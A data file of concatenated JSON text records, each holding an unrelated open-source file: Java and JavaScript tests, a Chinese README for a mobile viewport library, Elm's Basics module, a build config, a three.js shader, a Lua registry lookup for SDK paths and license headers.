fInf.getValue());\n assertTrue(fNan.getValue() != fNinf.getValue());\n assertTrue(fInf.getValue() != fNinf.getValue());\n }\n\n /**\n * test formatting of extreme values\n */\n public void testInfinityAndNaN_repr() {\n PyFloat fNan = new PyFloat(Double.NaN);\n PyFloat fInf = new PyFloat(Double.POSITIVE_INFINITY);\n PyFloat fNinf = new PyFloat(Double.NEGATIVE_INFINITY);\n assertEquals(\"nan\", String.valueOf(fNan.__repr__()));\n assertEquals(\"inf\", String.valueOf(fInf.__repr__()));\n assertEquals(\"-inf\", String.valueOf(fNinf.__repr__()));\n }\n}\n"} {"text": "process.env.NODE_ENV = 'test'\n\nconst chai = require('chai')\nconst { expect } = chai\nconst chaiHttp = require('chai-http')\nconst server = require('../server')\n\nchai.use(chaiHttp)\n\nconst test = async (query) => {\n const res = await chai.request(server).post('/graphql').set('content-type', 'application/json').send({ query })\n\n return res.body.data\n}\n\nconst locFragment = (query) =>\n `\n ${query}\n fragment allProperties on Location {\n id\n name\n type\n dimension\n residents { id }\n created\n }\n `\n\nconst keys = ['id', 'name', 'type', 'dimension', 'residents', 'created']\n\nconst result = {\n location: 'Earth (C-137)',\n character: 'Beth Smith',\n}\n\ndescribe('[Graphql][Location] - location(id)', () => {\n it('Gets a location by ID', async () => {\n const query = '{ location(id: 1) { name } }'\n const { location } = await test(query)\n\n expect(location).to.be.an('object')\n expect(location.name).to.equal(result.location)\n })\n\n it('Gets a different location', async () => {\n const query = '{ location(id: 2) { name } }'\n const { location } = await test(query)\n\n expect(location).to.be.an('object')\n expect(location.name).to.equal('Abadango')\n })\n\n it('Gets a Character type', async () => {\n const query = '{ location(id: 1) { residents { name } } }'\n const { location } = await test(query)\n\n expect(location.residents).to.be.an('array')\n expect(location.residents[0].name).to.equal(result.character)\n })\n\n it('Gets all properties', async () => {\n const query = locFragment('{ location(id: 1) { ...allProperties } }')\n const { location } = await test(query)\n\n expect(Object.keys(location)).to.deep.equal(keys)\n })\n})\n\ndescribe('[Graphql][Location] - locationsByIds(ids)', () => {\n it('Gets one location by Ids', async () => {\n const query = '{ locationsByIds(ids: [1]) { name } }'\n const { locationsByIds } = await test(query)\n\n expect(locationsByIds).to.be.an('array')\n expect(locationsByIds[0].name).to.equal(result.location)\n })\n\n it('Gets multiple locations by Ids', async () => {\n const query = '{ locationsByIds(ids: [1, 2]) { name } }'\n const { locationsByIds } = await test(query)\n\n expect(locationsByIds).to.be.an('array')\n expect(locationsByIds).to.deep.equal([{ name: 'Earth (C-137)' }, { name: 'Abadango' }])\n })\n\n it('Gets five locations by Ids', async () => {\n const query = `{ locationsByIds(ids: [1, 2, 3, 4, 5]) { id } }`\n const { locationsByIds } = await test(query)\n\n expect(locationsByIds).to.be.an('array')\n expect(locationsByIds).to.have.lengthOf(5)\n })\n})\n\ndescribe('[Graphql][Location] - locations', () => {\n it('Gets multiple locations', async () => {\n const query = '{ locations { results { name } } }'\n const {\n locations: { results },\n } = await test(query)\n\n expect(results).to.be.an('array')\n expect(results[0].name).to.equal(result.location)\n })\n\n it('Gets a Character type', async () => {\n const query = '{ locations { results { residents { name } } } }'\n const {\n locations: { results },\n } = await test(query)\n\n expect(results[0].residents).to.be.an('array')\n expect(results[0].residents[0].name).to.equal(result.character)\n })\n\n it('Gets all properties', async () => {\n const query = locFragment('{ locations { results { ...allProperties } } }')\n const {\n locations: { results },\n } = await test(query)\n\n expect(Object.keys(results[0])).to.deep.equal(keys)\n })\n})\n\ndescribe('[Graphql][Location] - locations(filter)', () => {\n it('Filters a location by name', async () => {\n const query = '{ locations(filter: { name: \"earth\" }) { results { name } } }'\n const {\n locations: { results },\n } = await test(query)\n\n expect(results).to.deep.include({ name: result.location })\n })\n\n it('Filters an episode by episode code', async () => {\n const query = '{ locations(filter: { type: \"planet\" }) { results { type } } }'\n const {\n locations: { results },\n } = await test(query)\n\n expect(results).to.deep.include({ type: 'Planet' })\n })\n\n it('Filters a character by using more than one filter', async () => {\n const query = '{ locations(filter: { name: \"earth\" type: \"planet\" }) { results { name type } } }'\n const {\n locations: { results },\n } = await test(query)\n\n expect(results).to.deep.include({ name: result.location, type: 'Planet' })\n })\n})\n"} {"text": "layout: doc\ncomments: false\ndate: 2015-5-18 4:13:13\nrepo: saber-viewport\nref: 0.2.1-beta.4\n---\n\n# saber-viewport\n\n移动端页面视口管理,提供页面转场功能\n\n## Usage\n\n```javascript\nvar viewport = require('saber-viewport');\nvar page;\n\n// 引入转场效果\nrequire('saber-viewport/transition/fadeInOut');\n\n// 初始化视口\nviewport.init('viewport');\n\n// 加载页面\npage = viewport.load(url);\n\n// 渲染页面\n...\n\n// 使用淡入淡出效果转场页面\npage.enter('fadeInOut');\n```\n\n### About bar\n\n移动页面顶部或者底部一般都有navigation bar、toolbar之类的,这些部件在页面转场时通常不变化或者特殊变化,通过添加`data-viewport-bar`与`data-name`自定义dom属性来支持。\n\n比如现在有三个页面A、B、C,顶部都有navigation bar,前两页面bar样式相同,最后一个页面为详情页面,bar上添加了“返回”按钮,大体就如下这般:\n\n```html\n<!-- page A -->\n<body>\n <div class=\"nav\" data-viewport-bar=\"navigation\" data-name=\"main\">\n ...\n </div>\n</body>\n\n<!-- page B -->\n<body>\n <div class=\"nav\" data-viewport-bar=\"navigation\" data-name=\"main\">\n ...\n </div>\n</body>\n\n<!-- page C -->\n<body>\n <div class=\"nav\" data-viewport-bar=\"navigation\" data-name=\"detail\">\n ...\n <a>返回</a>\n </div>\n</body>\n```\n\n通过`data-viewport-bar`分类页面中不同类型的bar,bar的转场切换只会在同类tab之间进行。`data-name`表示bar的名称,名称相同的bar转场时不会有变化,而类型相同名称不同的bar之前会有转场效果。\n\n示例中从A切换到B时顶部导航条不会有变化(`data-name`相同),而从B切换到C时顶部导航条会进行转场效果(`data-name`不同)。\n\n__注__:`saber-viewport`并不控制bar在页面中的位置、样式,这些还是由页面控制。\n\n\n## API\n\n### init(ele, options)\n\n初始化视口,`ele`为DOM元素或者id,`options`为可选配置参数:\n\n* `options.transition` `string` 默认转场效果,目前支持`slide`滑动转场,`fadeInOut`淡入淡出转场\n* `options.duration` `number` 默认转场动画时长,单位为秒\n* `options.timing` `string` 默认转场过渡速度,取值请参考CSS3中的`transition-timing-function`\n* `options.transform` `boolean` 是否默认使用[css transform](http://local:8849/demo/toolbar/index.html#/hospital/home)进行转场设置,默认为`true`。\n* `options.loading` `boolean|string|Function` 转场时加载提示文案,在调用`load`与`Page.enter`之间出现,默认为`false`不显示,为`Function`时回调函数的参数为提示文案的容器元素,具体请参见`demo/loading.html`\n\n*注:*当使用`transform`优化转场效果时需要注意容器内的`position:fixed`元素,请参考[issue](http://stackoverflow.com/questions/15194313/webkit-css-transform3d-position-fixed-issue), [The Transform Rendering Model](http://www.w3.org/TR/css3-transforms/#transform-rendering)\n\n### load(string)\n\n创建新页面的容器,返回`Page`对象。页面的具体渲染需要通过`Page.main`属性获取容器元素后自行完成\n\n### Page\n\n页面对象,由`load()`方法创建、返回\n\n#### Page.main\n\n页面的容器元素\n\n#### Page.enter(type, options)\n\n页面转场,`type`转场效果,可选;`options`转场效果配置参数,可选\n\n#### Page.on(eventName, callback)\n\n注册页面事件,可选择`eventName`如下:\n\n* `enter` 转场前事件\n* `afterenter` 转场完成事件\n* `leave` 页面移除前事件\n* `afterleave` 页面移除后事件\n\n===\n\n[![Saber](https://f.cloud.github.com/assets/157338/1485433/aeb5c72a-4714-11e3-87ae-7ef8ae66e605.png)](http://ecomfe.github.io/saber/)\n"} {"text": "module Basics exposing\n ( (==), (/=)\n , (<), (>), (<=), (>=), max, min, Order (..), compare\n , not, (&&), (||), xor\n , (+), (-), (*), (/), (^), (//), rem, (%), negate, abs, sqrt, clamp, logBase, e\n , pi, cos, sin, tan, acos, asin, atan, atan2\n , round, floor, ceiling, truncate, toFloat\n , degrees, radians, turns\n , toPolar, fromPolar\n , isNaN, isInfinite\n , toString, (++)\n , identity, always, (<|), (|>), (<<), (>>), flip, curry, uncurry, Never, never\n )\n\n{-| Tons of useful functions that get imported by default.\n\n# Equality\n@docs (==), (/=)\n\n# Comparison\n\nThese functions only work on `comparable` types. This includes numbers,\ncharacters, strings, lists of comparable things, and tuples of comparable\nthings. Note that tuples with 7 or more elements are not comparable; why\nare your tuples so big?\n\n@docs (<), (>), (<=), (>=), max, min, Order, compare\n\n# Booleans\n@docs not, (&&), (||), xor\n\n# Mathematics\n@docs (+), (-), (*), (/), (^), (//), rem, (%), negate, abs, sqrt, clamp, logBase, e\n\n# Trigonometry\n@docs pi, cos, sin, tan, acos, asin, atan, atan2\n\n# Number Conversions\n@docs round, floor, ceiling, truncate, toFloat\n\n# Angle Conversions\nAll angle conversions result in &ldquo;standard Elm angles&rdquo;\nwhich happen to be radians.\n\n@docs degrees, radians, turns\n\n# Polar Coordinates\n@docs toPolar, fromPolar\n\n# Floating Point Checks\n@docs isNaN, isInfinite\n\n# Strings and Lists\n@docs toString, (++)\n\n# Higher-Order Helpers\n@docs identity, always, (<|), (|>), (<<), (>>), flip, curry, uncurry, Never, never\n\n-}\n\nimport Native.Basics\nimport Native.Utils\n\n\n{-| Convert radians to standard Elm angles (radians). -}\nradians : Float -> Float\nradians t =\n t\n\n\n{-| Convert degrees to standard Elm angles (radians). -}\ndegrees : Float -> Float\ndegrees =\n Native.Basics.degrees\n\n\n{-| Convert turns to standard Elm angles (radians).\nOne turn is equal to 360&deg;.\n-}\nturns : Float -> Float\nturns =\n Native.Basics.turns\n\n\n{-| Convert polar coordinates (r,&theta;) to Cartesian coordinates (x,y). -}\nfromPolar : (Float,Float) -> (Float,Float)\nfromPolar =\n Native.Basics.fromPolar\n\n\n{-| Convert Cartesian coordinates (x,y) to polar coordinates (r,&theta;). -}\ntoPolar : (Float,Float) -> (Float,Float)\ntoPolar =\n Native.Basics.toPolar\n\n\n{-|-}\n(+) : number -> number -> number\n(+) =\n Native.Basics.add\n\n\n{-|-}\n(-) : number -> number -> number\n(-) =\n Native.Basics.sub\n\n\n{-|-}\n(*) : number -> number -> number\n(*) =\n Native.Basics.mul\n\n\n{-| Floating point division. -}\n(/) : Float -> Float -> Float\n(/) =\n Native.Basics.floatDiv\n\n\ninfixl 6 +\ninfixl 6 -\ninfixl 7 *\ninfixl 7 /\ninfixr 8 ^\n\ninfixl 7 //\ninfixl 7 %\n\n\n{-| Integer division. The remainder is discarded. -}\n(//) : Int -> Int -> Int\n(//) =\n Native.Basics.div\n\n\n{-| Find the remainder after dividing one number by another.\n\n rem 11 4 == 3\n rem 12 4 == 0\n rem 13 4 == 1\n rem -1 4 == -1\n-}\nrem : Int -> Int -> Int\nrem =\n Native.Basics.rem\n\n\n{-| Perform [modular arithmetic](http://en.wikipedia.org/wiki/Modular_arithmetic).\n\n 7 % 2 == 1\n -1 % 4 == 3\n-}\n(%) : Int -> Int -> Int\n(%) =\n Native.Basics.mod\n\n\n{-| Exponentiation\n\n 3^2 == 9\n-}\n(^) : number -> number -> number\n(^) =\n Native.Basics.exp\n\n\n{-|-}\ncos : Float -> Float\ncos =\n Native.Basics.cos\n\n\n{-|-}\nsin : Float -> Float\nsin =\n Native.Basics.sin\n\n\n{-|-}\ntan : Float -> Float\ntan =\n Native.Basics.tan\n\n\n{-|-}\nacos : Float -> Float\nacos =\n Native.Basics.acos\n\n\n{-|-}\nasin : Float -> Float\nasin =\n Native.Basics.asin\n\n\n{-| You probably do not want to use this. It takes `(y/x)` as the\nargument, so there is no way to know whether the negative signs comes from\nthe `y` or `x`. Thus, the resulting angle is always between &pi;/2 and -&pi;/2\n(in quadrants I and IV). You probably want to use `atan2` instead.\n-}\natan : Float -> Float\natan =\n Native.Basics.atan\n\n\n{-| This helps you find the angle of a Cartesian coordinate.\nYou will almost certainly want to use this instead of `atan`.\nSo `atan2 y x` computes *atan(y/x)* but also keeps track of which\nquadrant the angle should really be in. The result will be between\n&pi; and -&pi;, giving you the full range of angles.\n-}\natan2 : Float -> Float -> Float\natan2 =\n Native.Basics.atan2\n\n\n{-| Take the square root of a number. -}\nsqrt : Float -> Float\nsqrt =\n Native.Basics.sqrt\n\n\n{-| Negate a number.\n\n negate 42 == -42\n negate -42 == 42\n negate 0 == 0\n-}\nnegate : number -> number\nnegate =\n Native.Basics.negate\n\n\n{-| Take the absolute value of a number. -}\nabs : number -> number\nabs =\n Native.Basics.abs\n\n\n{-| Calculate the logarithm of a number with a given base.\n\n logBase 10 100 == 2\n logBase 2 256 == 8\n-}\nlogBase : Float -> Float -> Float\nlogBase =\n Native.Basics.logBase\n\n\n{-| Clamps a number within a given range. With the expression\n`clamp 100 200 x` the results are as follows:\n\n 100 if x < 100\n x if 100 <= x < 200\n 200 if 200 <= x\n-}\nclamp : number -> number -> number -> number\nclamp =\n Native.Basics.clamp\n\n\n{-| An approximation of pi. -}\npi : Float\npi =\n Native.Basics.pi\n\n\n{-| An approximation of e. -}\ne : Float\ne =\n Native.Basics.e\n\n\n{-| Check if values are &ldquo;the same&rdquo;.\n\n**Note:** Elm uses structural equality on tuples, records, and user-defined\nunion types. This means the values `(3, 4)` and `(3, 4)` are definitely equal.\nThis is not true in languages like JavaScript that use reference equality on\nobjects.\n\n**Note:** Equality (in the Elm sense) is not possible for certain types. For\nexample, the functions `(\\n -> n + 1)` and `(\\n -> 1 + n)` are &ldquo;the\nsame&rdquo; but detecting this in general is [undecidable][]. In a future\nrelease, the compiler will detect when `(==)` is used with problematic\ntypes and provide a helpful error message. This will require quite serious\ninfrastructure work that makes sense to batch with another big project, so the\nstopgap is to crash as quickly as possible. Problematic types include functions\nand JavaScript values like `Json.Encode.Value` which could contain functions\nif passed through a port.\n\n[undecidable]: https://en.wikipedia.org/wiki/Undecidable_problem\n-}\n(==) : a -> a -> Bool\n(==) =\n Native.Basics.eq\n\n\n{-| Check if values are not &ldquo;the same&rdquo;.\n\nSo `(a /= b)` is the same as `(not (a == b))`.\n-}\n(/=) : a -> a -> Bool\n(/=) =\n Native.Basics.neq\n\n\n{-|-}\n(<) : comparable -> comparable -> Bool\n(<) =\n Native.Basics.lt\n\n\n{-|-}\n(>) : comparable -> comparable -> Bool\n(>) =\n Native.Basics.gt\n\n\n{-|-}\n(<=) : comparable -> comparable -> Bool\n(<=) =\n Native.Basics.le\n\n\n{-|-}\n(>=) : comparable -> comparable -> Bool\n(>=) =\n Native.Basics.ge\n\n\ninfix 4 ==\ninfix 4 /=\ninfix 4 <\ninfix 4 >\ninfix 4 <=\ninfix 4 >=\n\n\n{-| Compare any two comparable values. Comparable values include `String`, `Char`,\n`Int`, `Float`, `Time`, or a list or tuple containing comparable values.\nThese are also the only values that work as `Dict` keys or `Set` members.\n-}\ncompare : comparable -> comparable -> Order\ncompare =\n Native.Basics.compare\n\n\n{-| Represents the relative ordering of two things.\nThe relations are less than, equal to, and greater than.\n-}\ntype Order = LT | EQ | GT\n\n\n{-| Find the smaller of two comparables. -}\nmin : comparable -> comparable -> comparable\nmin =\n Native.Basics.min\n\n\n{-| Find the larger of two comparables. -}\nmax : comparable -> comparable -> comparable\nmax =\n Native.Basics.max\n\n\n{-| The logical AND operator. `True` if both inputs are `True`.\n\n**Note:** When used in the infix position, like `(left && right)`, the operator\nshort-circuits. This means if `left` is `False` we do not bother evaluating `right`\nand just return `False` overall.\n-}\n(&&) : Bool -> Bool -> Bool\n(&&) =\n Native.Basics.and\n\n\n{-| The logical OR operator. `True` if one or both inputs are `True`.\n\n**Note:** When used in the infix position, like `(left || right)`, the operator\nshort-circuits. This means if `left` is `True` we do not bother evaluating `right`\nand just return `True` overall.\n-}\n(||) : Bool -> Bool -> Bool\n(||) =\n Native.Basics.or\n\n\ninfixr 3 &&\ninfixr 2 ||\n\n\n{-| The exclusive-or operator. `True` if exactly one input is `True`. -}\nxor : Bool -> Bool -> Bool\nxor =\n Native.Basics.xor\n\n\n{-| Negate a boolean value.\n\n not True == False\n not False == True\n-}\nnot : Bool -> Bool\nnot =\n Native.Basics.not\n\n\n-- Conversions\n\n{-| Round a number to the nearest integer. -}\nround : Float -> Int\nround =\n Native.Basics.round\n\n\n{-| Truncate a number, rounding towards zero. -}\ntruncate : Float -> Int\ntruncate =\n Native.Basics.truncate\n\n\n{-| Floor function, rounding down. -}\nfloor : Float -> Int\nfloor =\n Native.Basics.floor\n\n\n{-| Ceiling function, rounding up. -}\nceiling : Float -> Int\nceiling =\n Native.Basics.ceiling\n\n\n{-| Convert an integer into a float. -}\ntoFloat : Int -> Float\ntoFloat =\n Native.Basics.toFloat\n\n\n{-| Determine whether a float is an undefined or unrepresentable number.\nNaN stands for *not a number* and it is [a standardized part of floating point\nnumbers](http://en.wikipedia.org/wiki/NaN).\n\n isNaN (0/0) == True\n isNaN (sqrt -1) == True\n isNaN (1/0) == False -- infinity is a number\n isNaN 1 == False\n-}\nisNaN : Float -> Bool\nisNaN =\n Native.Basics.isNaN\n\n\n{-| Determine whether a float is positive or negative infinity.\n\n isInfinite (0/0) == False\n isInfinite (sqrt -1) == False\n isInfinite (1/0) == True\n isInfinite 1 == False\n\nNotice that NaN is not infinite! For float `n` to be finite implies that\n`not (isInfinite n || isNaN n)` evaluates to `True`.\n-}\nisInfinite : Float -> Bool\nisInfinite =\n Native.Basics.isInfinite\n\n\n{-| Turn any kind of value into a string. When you view the resulting string\nwith `Text.fromString` it should look just like the value it came from.\n\n toString 42 == \"42\"\n toString [1,2] == \"[1,2]\"\n toString \"he said, \\\"hi\\\"\" == \"\\\"he said, \\\\\\\"hi\\\\\\\"\\\"\"\n-}\ntoString : a -> String\ntoString =\n Native.Utils.toString\n\n\n{-| Put two appendable things together. This includes strings, lists, and text.\n\n \"hello\" ++ \"world\" == \"helloworld\"\n [1,1,2] ++ [3,5,8] == [1,1,2,3,5,8]\n-}\n(++) : appendable -> appendable -> appendable\n(++) =\n Native.Utils.append\n\n\ninfixr 5 ++\n\n\n-- Function Helpers\n\n{-| Function composition, passing results along in the suggested direction. For\nexample, the following code checks if the square root of a number is odd:\n\n not << isEven << sqrt\n\nYou can think of this operator as equivalent to the following:\n\n (g << f) == (\\x -> g (f x))\n\nSo our example expands out to something like this:\n\n \\n -> not (isEven (sqrt n))\n-}\n(<<) : (b -> c) -> (a -> b) -> (a -> c)\n(<<) g f x =\n g (f x)\n\n\n{-| Function composition, passing results along in the suggested direction. For\nexample, the following code checks if the square root of a number is odd:\n\n sqrt >> isEven >> not\n\nThis direction of function composition seems less pleasant than `(<<)` which\nreads nicely in expressions like: `filter (not << isRegistered) students`\n-}\n(>>) : (a -> b) -> (b -> c) -> (a -> c)\n(>>) f g x =\n g (f x)\n\n\n{-| Forward function application `x |> f == f x`. This function is useful\nfor avoiding parentheses and writing code in a more natural way.\nConsider the following code to create a pentagon:\n\n scale 2 (move (10,10) (filled blue (ngon 5 30)))\n\nThis can also be written as:\n\n ngon 5 30\n |> filled blue\n |> move (10,10)\n |> scale 2\n-}\n(|>) : a -> (a -> b) -> b\n(|>) x f =\n f x\n\n\n{-| Backward function application `f <| x == f x`. This function is useful for\navoiding parentheses. Consider the following code to create a text element:\n\n leftAligned (monospace (fromString \"code\"))\n\nThis can also be written as:\n\n leftAligned <| monospace <| fromString \"code\"\n-}\n(<|) : (a -> b) -> a -> b\n(<|) f x =\n f x\n\n\ninfixr 9 <<\ninfixl 9 >>\ninfixr 0 <|\ninfixl 0 |>\n\n\n{-| Given a value, returns exactly the same value. This is called\n[the identity function](http://en.wikipedia.org/wiki/Identity_function).\n-}\nidentity : a -> a\nidentity x =\n x\n\n\n{-| Create a function that *always* returns the same value. Useful with\nfunctions like `map`:\n\n List.map (always 0) [1,2,3,4,5] == [0,0,0,0,0]\n\n -- List.map (\\_ -> 0) [1,2,3,4,5] == [0,0,0,0,0]\n -- always = (\\x _ -> x)\n-}\nalways : a -> b -> a\nalways a _ =\n a\n\n\n{-| Flip the order of the first two arguments to a function. -}\nflip : (a -> b -> c) -> (b -> a -> c)\nflip f b a =\n f a b\n\n\n{-| Change how arguments are passed to a function.\nThis splits paired arguments into two separate arguments.\n-}\ncurry : ((a,b) -> c) -> a -> b -> c\ncurry f a b =\n f (a,b)\n\n\n{-| Change how arguments are passed to a function.\nThis combines two arguments into a single pair.\n-}\nuncurry : (a -> b -> c) -> (a,b) -> c\nuncurry f (a,b) =\n f a b\n\n\n{-| A value that can never happen! For context:\n\n - The boolean type `Bool` has two values: `True` and `False`\n - The unit type `()` has one value: `()`\n - The never type `Never` has no values!\n\nYou may see it in the wild in `Html Never` which means this HTML will never\nproduce any messages. You would need to write an event handler like\n`onClick ??? : Attribute Never` but how can we fill in the question marks?!\nSo there cannot be any event handlers on that HTML.\n\nYou may also see this used with tasks that never fail, like `Task Never ()`.\n\nThe `Never` type is useful for restricting *arguments* to a function. Maybe my\nAPI can only accept HTML without event handlers, so I require `Html Never` and\nusers can give `Html msg` and everything will go fine. Generally speaking, you\ndo not want `Never` in your return types though.\n-}\ntype Never = JustOneMore Never\n\n\n{-| A function that can never be called. Seems extremely pointless, but it\n*can* come in handy. Imagine you have some HTML that should never produce any\nmessages. And say you want to use it in some other HTML that *does* produce\nmessages. You could say:\n\n import Html exposing (..)\n\n embedHtml : Html Never -> Html msg\n embedHtml staticStuff =\n div []\n [ text \"hello\"\n , Html.map never staticStuff\n ]\n\nSo the `never` function is basically telling the type system, make sure no one\never calls me!\n-}\nnever : Never -> a\nnever (JustOneMore nvr) =\n never nvr\n"} {"text": "name = 'Eigen'\nversion = '3.2.3'\n\nhomepage = 'http://eigen.tuxfamily.org/index.php?title=Main_Page'\ndescription = \"\"\"Eigen is a C++ template library for linear algebra:\n matrices, vectors, numerical solvers, and related algorithms.\"\"\"\n\ntoolchain = {'name': 'foss', 'version': '2015a'}\n\nsource_urls = [BITBUCKET_SOURCE]\nsources = ['%(version)s.tar.bz2']\n\nmoduleclass = 'math'\n"} {"text": "/**\n * @author mrdoob / http://www.mrdoob.com\n *\n * Simple test shader\n */\n\n\n\nvar BasicShader = {\n\n\tuniforms: {},\n\n\tvertexShader: [\n\n\t\t\"void main() {\",\n\n\t\t\t\"gl_Position = projectionMatrix * modelViewMatrix * vec4( position, 1.0 );\",\n\n\t\t\"}\"\n\n\t].join( \"\\n\" ),\n\n\tfragmentShader: [\n\n\t\t\"void main() {\",\n\n\t\t\t\"gl_FragColor = vec4( 1.0, 0.0, 0.0, 0.5 );\",\n\n\t\t\"}\"\n\n\t].join( \"\\n\" )\n\n};\n\nexport { BasicShader };\n"} {"text": "-- jucit - Just compile it!\r\n\r\nlocal function readRegistry(key, value, type)\r\n local type = type or 'REG_SZ'\r\n local sysroot = assert(os.getenv('SystemRoot'))\r\n for _, reg in ipairs{\"\\\\syswow64\\\\reg.exe\", \"\\\\system32\\\\reg.exe\"} do\r\n for k,v in assert(io.popen(sysroot..reg..' QUERY \"'..key..'\" /v \"'..value..'\" 2>nul')):lines() do\r\n\t local data\r\n\t string.gsub(\r\n\t k, \"%s+(%S+)%s+(%S+)%s+(.+)\",\r\n\t function(v,t,d) data = value==v and type==t and d or data end)\r\n\t if data ~= nil then\r\n\t return data\r\n\t end\r\n end\r\n end\r\nend\r\n\r\nlocal sdks = {\r\n ddk71 = {\r\n 'HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\KitSetup\\\\configured-kits\\\\' ..\r\n\t '{B4285279-1846-49B4-B8FD-B9EAF0FF17DA}\\\\{68656B6B-555E-5459-5E5D-6363635E5F61}',\r\n 'setup-install-location'\r\n },\r\n sdk60A = {\r\n 'HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Microsoft SDKs\\\\Windows\\\\v6.0A',\r\n 'InstallationFolder'\r\n },\r\n sdk70 = {\r\n 'HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Microsoft SDKs\\\\Windows\\\\v7.0',\r\n 'InstallationFolder'\r\n },\r\n sdk70A = {\r\n 'HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Microsoft SDKs\\\\Windows\\\\v7.0A',\r\n 'InstallationFolder'\r\n },\r\n sdk71 = {\r\n 'HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Microsoft SDKs\\\\Windows\\\\v7.1',\r\n 'InstallationFolder'\r\n },\r\n sdk80 = {\r\n 'HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Microsoft SDKs\\\\Windows\\\\v8.0',\r\n 'InstallationFolder'\r\n },\r\n xbox360 = {\r\n 'HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Xbox\\\\2.0\\\\SDK',\r\n 'InstallPath'\r\n },\r\n webos = {\r\n 'HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\HP webOS\\\\SDK',\r\n 'InstallDir'\r\n },\r\n sourcery_gcc = {\r\n 'HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\'..\r\n\t 'Sourcery G++ Lite for ARM GNU/Linux',\r\n 'InstallLocation'\r\n },\r\n cygwin = {\r\n 'HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Cygwin\\\\setup',\r\n 'rootdir'\r\n },\r\n bbndk_10_04_beta = {\r\n 'HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\'..\r\n\t 'BlackBerry 10 Native SDK 10.0.4-beta',\r\n 'InstallLocation'\r\n },\r\n bbndk_2_00 = {\r\n 'HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\'..\r\n\t 'BlackBerry Native SDK for Tablet OS 2.0.0',\r\n 'InstallLocation'\r\n },\r\n bbndk_2_00 = {\r\n 'HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\'..\r\n\t 'BlackBerry Native SDK for Tablet OS 2.0.0',\r\n 'InstallLocation'\r\n },\r\n bbndk_2_01 = {\r\n 'HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\'..\r\n\t 'BlackBerry Native SDK for Tablet OS 2.0.1',\r\n 'InstallLocation'\r\n },\r\n bbndk_2_10_beta1 = {\r\n 'HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\'..\r\n\t 'BlackBerry Native SDK for Tablet OS 2.1.0-beta1',\r\n 'InstallLocation'\r\n },\r\n msvc8 = {\r\n 'HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\VisualStudio\\\\8.0\\\\Setup\\\\VC',\r\n 'ProductDir'\r\n },\r\n msvc9 = {\r\n 'HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\VisualStudio\\\\9.0\\\\Setup\\\\VC',\r\n 'ProductDir'\r\n },\r\n msvc10 = {\r\n 'HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\VisualStudio\\\\10.0\\\\Setup\\\\VC',\r\n 'ProductDir'\r\n },\r\n msvc11 = {\r\n 'HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\VisualStudio\\\\11.0\\\\Setup\\\\VC',\r\n 'ProductDir'\r\n },\r\n dia8 = {\r\n 'HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\VisualStudio\\\\SxS\\\\DIA_SDK',\r\n '8.0'\r\n },\r\n dia9 = {\r\n 'HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\VisualStudio\\\\SxS\\\\DIA_SDK',\r\n '9.0'\r\n },\r\n dia10 = {\r\n 'HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\VisualStudio\\\\SxS\\\\DIA_SDK',\r\n '10.0'\r\n },\r\n dia11 = {\r\n 'HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\VisualStudio\\\\SxS\\\\DIA_SDK',\r\n '11.0'\r\n },\r\n wdk8 = {\r\n 'HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows Kits\\\\WDK',\r\n 'WDKContentRoot'\r\n },\r\n nvidia_gpusdk_40 = {\r\n 'HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\NVIDIA Corporation\\\\Installed Products\\\\'..\r\n\t 'NVIDIA GPU Computing SDK 4.0',\r\n 'InstallDir',\r\n },\r\n nvidia_gpusdk_41 = {\r\n 'HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\NVIDIA Corporation\\\\Installed Products\\\\'..\r\n\t 'NVIDIA GPU Computing SDK 4.1',\r\n 'InstallDir',\r\n },\r\n}\r\n\r\nprint()\r\nfor k,v in pairs(sdks) do\r\n print( k, readRegistry( v[1], v[2] ))\r\nend\r\n"} {"text": "/*\nCopyright 2014 The Kubernetes Authors.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\n// Package errors provides detailed error types for api field validation.\npackage errors\n"} {"text": "using System;\nusing NetOffice;\nusing NetOffice.Attributes;\nnamespace NetOffice.ExcelApi.Enums\n{\n\t /// <summary>\n\t /// SupportByVersion Excel 9, 10, 11, 12, 14, 15, 